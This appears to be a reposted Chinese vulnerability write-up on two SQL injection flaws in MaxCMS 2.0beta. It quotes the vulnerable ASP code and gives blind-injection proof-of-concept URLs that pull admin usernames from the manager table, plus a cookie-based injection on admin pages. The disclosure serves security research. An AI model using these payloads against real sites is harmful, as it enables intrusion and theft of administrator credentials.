马克斯CMS2.0beta (maxcms)SQL注入漏洞 's

admin 2017年5月6日03:25:27评论1,020 views字数 1890阅读6分18秒阅读模式
摘要

作者:flyh4thttp://bbs.wolvez.org关键字:首页-马克斯CMS2.0这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。

作者:flyh4t

http://bbs.wolvez.org

关键字:首页-马克斯CMS2.0

这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。

看代码

/inc/ajax.asp  dim action : action = getForm("action", "get") response.Charset="gbk"  Select  case action     case "newslist" : viewNewsList     case "newscontent" : viewNewsContent     case "digg","tread" : scoreVideo(action)     case "reporterr" : reportErr     case "hit" : updateHit     case else : main End Select terminateAllObjects  ……  Sub scoreVideo(operType)     dim sql,id,digg,returnValue : id=getForm("id","get")     ‘通过get方式获取id的值     if rCookie("maxcms2_score"&id)="ok" then die "havescore"     if isNul(id) then die "err"     'on error resume next     digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)     ‘ 参数id,没有过滤就带入sql语句进行查询     if err then digg=0 : err.clear()     if not isNum(id) then echoSaveStr "safe" else id=clng(id)     ‘ 查询到digg,注意返回的内容 ……

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告

你提交的数据有非法字符,你的IP【xxxx】已被记录,操作

构造的语句不正确,则返回500
Poc :

正确的: http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97  不正确的: http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99

其实随便找个注射工具跑一下就ok了

另外一处注射

Sub checkPower     dim loginValidate,rsObj : loginValidate = "maxcms2.0"     err.clear     on error resume next     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")     loginValidate = md5(getAgent&getIp&rsObj(0))     if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"     checkManagerLevel  rsObj(1)     set rsObj=nothing End Sub

其中

Function rCookie(cookieName)     rCookie = request.cookies(cookieName) End Function

通过伪造cookie中m_username的值可以进行注射

不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日03:25:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   马克斯CMS2.0beta (maxcms)SQL注入漏洞 'shttp://cn-sec.com/archives/46051.html

发表评论

匿名网友 填写信息